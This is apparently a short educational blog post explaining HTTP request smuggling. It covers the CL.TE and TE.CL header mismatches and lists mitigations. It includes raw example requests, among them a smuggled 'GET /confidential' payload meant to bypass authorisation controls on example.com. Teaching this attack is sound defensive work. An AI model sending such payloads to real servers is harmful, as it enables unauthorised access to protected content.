tl;dr: HTTP Request Smuggling
What is it?
When a web application uses a chain of servers (e.g. a load balancer or reverse proxy that forwards a user’s request to one or more backend servers over the same connection), an attacker can hide multiple HTTP requests in one single request.
The frontend server forwards the request, and the backend server(s) interpret it as multiple requests. Chaos ensues.
How, though?
This attack is possible if the front and backend servers use different headers to ascertain the length of a request. RFC 2616 defines two headers for this: Content-Length
and Transfer-Encoding
.
Content-Length
simply states the length of the request body like so:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
0123456789
Transfer-Encoding
groups the data into different ‘chunks’. On the line above each chunk is its size in hexadecimal, and there’s a 0
after the last chunk. E.g.:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
a
0123456789
0
By sending a request that includes both headers, the backend server can be tricked into perceiving multiple requests.
May I see it?
Ok. In this example, the frontend server processes Content-Length
and the backend processes Transfer-Encoding
(aka a CL.TE vulnerability).
POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
The frontend server passes the whole communication (13 bytes) to the backend who thinks it is chunked. It interprets the 0
as the end of the communication and the S
of SMUGGLED
as the start of a new, separate communication.
The inverse scenario also exists, where the headers are reversed between the servers (TE.CL)
So What?
Among other things, an attacker can use this technique to bypass authorisation controls by sending a single request:
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
0
GET /confidential HTTP/1.1
Foo: foo
The backend interprets this as two separate requests and by sending another request straight after, the attacker will receive the contents of /confidential
James Kettle’s brilliant research into the HTTP2 flavour of this vulnerability shows how he was able to redirect live Netflix users to his ‘malicious’ domain with a simple smuggled payload.
How can I fix it?
- use a different connection for sending each request from frontend to backend
- avoid using different server software between front and backend
- use a WAF that detects anomalous header configurations
References & Further Reading
https://portswigger.net/web-security/request-smuggling
https://portswigger.net/research/http2
https://cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling